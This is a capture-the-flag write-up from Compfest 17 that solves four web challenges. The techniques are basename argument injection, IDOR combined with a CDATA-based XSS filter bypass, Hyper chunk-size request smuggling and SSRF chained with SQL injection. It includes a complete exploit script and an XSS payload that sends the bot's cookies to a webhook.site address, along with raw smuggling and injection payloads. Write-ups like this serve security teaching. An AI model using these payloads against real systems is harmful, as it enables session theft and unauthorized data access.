Compfest 17 CTF Write-up

16 Jul 2025

Compfest 17 CTF Write-up cover image.

Introduction


Bassh

The purpose of this chall is to get the flags contained in src/flag.txt

Vuln

If we look how web serve problem file

cat "problems/$file_target.txt" | while read -r line; do
      echo "      <p class='text-white'>$line</p>"
    done

and file_target obtained from

file_target=$(basename -s .py $(urldecode "${QUERY_PARAMS['file']}"))

so to access flag we want file_target leads to ../../flag.txt, but the problem is basename in default will delete all dir prefix like ../ so if we input ../../flag program will execute cat "problems/flag.txt" not cat "problems/../../flag.txt" luckly because urlcode remain unquoted, we can inject some command flag for basename like -z and -a. -a will make basename can execute many argument separated by space/null, so if we input .. / .. / flag it will execute .. then / then .. then / then flag, which mean we will get ../../flag path location, but all separated execution will have onewline at the end of output, we dont want that so to prevent that we have to use another command flag such as -z where -z will make output of execution dont have newline but null.

Payload

-z -a .. /.. / flag

in url

-z%20-a%20..%20/%20..%20/%20flag

Gift for tifosi

The purpose of this chall is to get the flag contained in the bot's env

bot:
    build:
      context: ./src/bot
      args:
        - BROWSER=chromium
    restart: always
    expose:
      - "3000"
    environment:
      APPNAME: Admin
      APPURL: http://proxy:80
      APPURLREGEX: ^https?://proxy:80(/.*)?$
      APPFLAG: COMPFEST17{fake_flag}
      APPLIMIT: 2
      APPLIMITTIME: 60
      USE_PROXY: 1
      DISPLAY: ${DISPLAY}
      APPEMAIL: admin@ferrari.com
      APPPASS: 1a07e0185d47012a66fec6c4dbf2a96d
    networks:
      - internal
    deploy:
      resources:
        limits:
          cpus: "0.5"
          memory: "1G"

Vuln

  • Insecure Direct Object Reference (IDOR)
    @router.put("/edit")
    async def edit_user(id: Optional[str] = Query(None), body: UserEdit = Body(...), user = Depends(get_current_user)):
        if id:
            try:
                await update_profile_by_id(id, body.description)
            except ValueError as e:
                return HTTPException(status_code=400, detail=str(e))
        else:
            user_id = str(user["_id"])
            await update_profile_by_id(user_id, body.description)
            return JSONResponse(status_code=200, content=success("Profile updated successfully"))
    if we look, the endpoint accepts an id query parameter to specify which user profile to update. It fails to verify if the currently authenticated user matches the target_id, allowing any logged-in user to modify any other user's profile (including the Admin)
  • XSS in view profile page
    if BeautifulSoup(text, "html.parser").find_all():
        raise HTTPException(status_code=400, detail="No HTML allowed")
    filter mechanism only use html.parser, to bypass this use <![CDATA[ ... ]]> because this tage returning empty list for find_all()

Exploit

The exploit flow that I am thinking of is IDOR then XSS via bot where I will change the admin profile with a script that will then be executed by the bot.

  • First is get admin Id to edit admin profile we have to know admin id to execute IDOR, then how we know it?, luckly objectId of mongoDB is very predictible, if we see this image Mongo Object IDs are 12-byte hexadecimal, for example if we have objectId 5f2459ac9fa6dc2500314019 then we can say

    • 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
    • 9fa6dc: Machine Identifier
    • 2500: Process ID
    • 314019: An incremental counter

    and because we already have admin timestamp also machine identifier and process ID most likely will remains same, we only have to brute force counter id

  • Then inject XSS via profile

    <![CDATA[><img src=x onerror=\"fetch('{WEBHOOK_URL}?c='+document.cookie)\">]]>

    this payload make bot execute fecth to webhook which contain flag

Full Script

import requests
import json
import base64
import time
import sys
import datetime

BASE_URL = "http://localhost:7303"
BOT_URL_TARGET = "http://proxy:80/dashboard?modal=profile"
WEBHOOK_URL = "https://webhook.site/91e5fda5-534e-4c59-82ac-a9151a91ea83"

def get_user_id_from_token(token):
    try:
        payload = token.split(".")[1]
        payload += "=" * ((4 - len(payload) % 4) % 4)
        decoded = base64.urlsafe_b64decode(payload).decode()
        data = json.loads(decoded)
        return data.get("sub")
    except Exception as e:
        print(f"[-] Error decoding token: {e}")
        return None

def solve():
    session = requests.Session()
    print("[*] Registering user...")
    username = "hacker" + str(int(time.time()))
    email = f"{username}@example.com"
    password = "password123"
    try:
        res = session.post(f"{BASE_URL}/api/auth/register", json={
            "username": username,
            "email": email,
            "password": password,
            "description": "Just a hacker"
        })
    except requests.exceptions.ConnectionError:
        print(f"[-] Could not connect to {BASE_URL}. Is docker running?")
        return
    if res.status_code == 201:
        print("[+] Registered successfully")
    elif res.status_code != 400:
        print(f"[-] Registration failed: {res.text}")
    print("[*] Logging in...")
    res = session.post(f"{BASE_URL}/api/auth/login", json={
        "email": email,
        "password": password
    })
    if res.status_code != 200:
        print(f"[-] Login failed: {res.text}")
        return
    token = res.json()["data"]["access_token"]
    user_id = get_user_id_from_token(token)
    print(f"[+] My User ID: {user_id}")
    headers = {"Authorization": f"Bearer {token}"}
    target_id = None
    print("[*] Fetching Admin info and Scanning...")
    try:
        res_total = session.get(f"{BASE_URL}/api/dashboard/users?limit=1", headers=headers)
        total_users = res_total.json()["data"]["total"]
        print(f"[+] Total users: {total_users}")
        res = session.get(f"{BASE_URL}/api/dashboard/users?username=admin&limit=1", headers=headers)
        if res.status_code == 200 and res.json()["data"]["results"]:
            data = res.json()["data"]["results"][0]
            admin_created_at_str = data['created_at']
            dt = datetime.datetime.fromisoformat(admin_created_at_str)
            dt = dt.replace(tzinfo=datetime.timezone.utc)
            admin_ts_hex = hex(int(dt.timestamp()))[2:]
            my_random = user_id[8:18]
            my_counter = int(user_id[18:], 16)
            est_counter = my_counter - (total_users - 1)
    
            for c in range(est_counter - 100, est_counter + 100):
                cid = f"{admin_ts_hex}{my_random}{hex(c)[2:].zfill(6)}"
                try:
                    check = session.get(f"{BASE_URL}/api/profile/view?id={cid}", headers=headers)
                    if check.status_code == 200 and check.json()["data"]["username"] == "admin":
                        print(f"[+] FOUND ADMIN ID: {cid}")
                        target_id = cid
                        break
                except: pass
        else:
            print("[-] Admin not found.")
    except Exception as e:
        print(f"[-] Error: {e}")

    if not target_id: return
    print("[*] Sending XSS Payload to Admin Profile...")
    payload = f"<![CDATA[><img src=x onerror=\"fetch('{WEBHOOK_URL}?c='+document.cookie)\">]]>"
    
    print(f"[*] Payload: {payload}")
    print(f"[*] Payload Length: {len(payload)}")
    
    res = session.put(f"{BASE_URL}/api/profile/edit?id={target_id}", json={
        "description": payload
    }, headers=headers)
    
    if res.status_code == 200:
        print("[+] Admin profile updated successfully")
    else:
        print(f"[-] Admin update failed: {res.text}")
        return
    print("[*] Triggering Bot...")
    try:
        bot_res = requests.post(f"{BASE_URL}/report/", data={
            "url": BOT_URL_TARGET
        })
        print(f"[*] Bot response: {bot_res.text}")
    except Exception as e:
        print(f"[-] Bot trigger failed: {e}")

    print(f"\n[+] Attack complete! CHECK YOUR WEBHOOK: {WEBHOOK_URL}")

if __name__ == "__main__":
    solve()

not Simple web

The web in this challenge uses python as a proxy and rust as a backend, where our goal is to get the flag located in /secret.html, but if we look at the proxy

def _filter_route(self, request):
    assert request[1].startswith("/")
    uri = request[1]
    if not (re.match(r"^/\w+\.\w+$", uri) or uri == "/"):
        self._reject(301, "Moved Permanently", "/reject.html")
    if "secret" in uri.lower():
        self._reject(307, "Temporary Redirect", "/reject.html")

It is clear that the word 'secret' will be filtered so that we cannot access secret.html directly.

Vuln

If we look at the libraries used in the backend in cargo.toml

[package]
name = "server"
version = "0.1.0"
edition = "2024"

[dependencies]
base64 = "0.22.1"
hyper = { version = "=0.14.9", features = ["full"] } # Pinned for compatibility
include_dir = "0.7.4"
mime_guess = "2.0.5"
tokio = { version = "1.46.1", features = ["full"] }

There is one library that has a vulnerability that we can exploit, namely Hyper. Hyper in version 0.14.9 has a vulnerability that we can see in CVE-2021-32714 which occurs when Hyper receives a hexadecimal chunk size larger than 64-bits (for example, 17 hex digits). Due to the overflow, Hyper will only read the bottom 64-bits. For example, when the chunk size is f0000000000000003, Hyper will assume that the chunk size is only 3 (occurs due to the overflow), while the proxy assumes the chunk size is indeed large.

Payload

POST /index.html HTTP/1.1
Host: challenge.host
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 99

f0000000000000003
abc
0

GET /secret.html HTTP/1.1
Host: challenge.host
Connection: close

This payload can bypass the proxy because the proxy assumes the chunk size is f0000000000000003 which makes GET /secret.html HTTP/1.1 considered part of the chunk while the backend will assume the chunk size is 3 which makes the backend assume that abc is the entire chunk so that GET /secret.html HTTP/1.1 will be considered a new request.


Dark side of asteroids

Our goal is to get the flag that is stored in the database in the admin_secrets table and has access level = 3

secrets = [
        ('Flag', FLAG, 3),
        ('final_message', 'You made it! Remember: the flag belongs to those who trust their own path.', 3),
        ('author_message', 'You sure you can get the flag? Think twice…', 2),
        ('welcome_note', 'Welcome to the Asteroid Admin system!', 1)
    ]
    for s in secrets:
        c.execute('INSERT OR IGNORE INTO admin_secrets (secret_name, secret_value, access_level) VALUES (?, ?, ?)', s)

Vuln

  • SSRF in /profile The /profile endpoint allows users to upload a profile picture by providing a URL. The application attempts to validate this URL using the is_private_url function:
    def is_private_url(url: str):
        hostname = urlparse(url).hostname
        if not hostname:
            return True
        ip = socket.gethostbyname(hostname)
        return ipaddress.ip_address(ip).is_private
    we can see, the validation logic checks the resolved IP of the initial URL. However, it uses requests.get(photo_url) to fetch the content. By default, requests follows HTTP redirects. If an attacker provides a URL that points to a benign public IP (passing the check) but then redirects to a private IP (e.g., 127.0.0.1), the application will follow the redirect and access the internal resource. The validation is not applied to the redirected URL
  • SQLI in /internal/admin/search in
    def internal_admin_search():
        if request.remote_addr != '127.0.0.1':
            return "Access denied", 403
    
        conn = get_db_connection()
        try:
            search_raw = request.args.get('q', '')
            if search_raw == '':
                query = "SELECT secret_name, secret_value FROM admin_secrets WHERE access_level <= 2"
            else:
                search = filter_sqli(search_raw)
                query = f"SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '{search}' AND access_level <= 2"
    
            rows = conn.execute(query).fetchall()
    
            result = ''
            for row in rows:
                result += f"{row['secret_name']}: {row['secret_value']}\n"
            if not result:
                result = "No secrets found"
    
            return result, 200, {'Content-Type': 'text/plain; charset=utf-8'}
        except Exception as e:
            return f"Error: {str(e)}"
        finally:
            conn.close()
    but there is a custom filter_sqli function to sanitize the input
    blacklist = [
        'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ',
        'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\t'
    ]
    luckly The blacklist is incomplete. It blocks spaces and many keywords, but it does not block single quotes (') or SQL comment characters (--). Additionally, the logic enforces that the string access_level must be present in the input So we can inject a payload that closes the quote, comments out the rest of the query (removing the access_level <= 2 restriction), and ensures access_level is present in the comment to satisfy the check. in here we will use
    Flag'--access_level
    to bypass access level = 3

Payload

Use redirect attack to bypass SSRF and inject SQL command to get flag

http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Finternal%2Fadmin%2Fsearch%3Fq%3DFlag%2527--access_level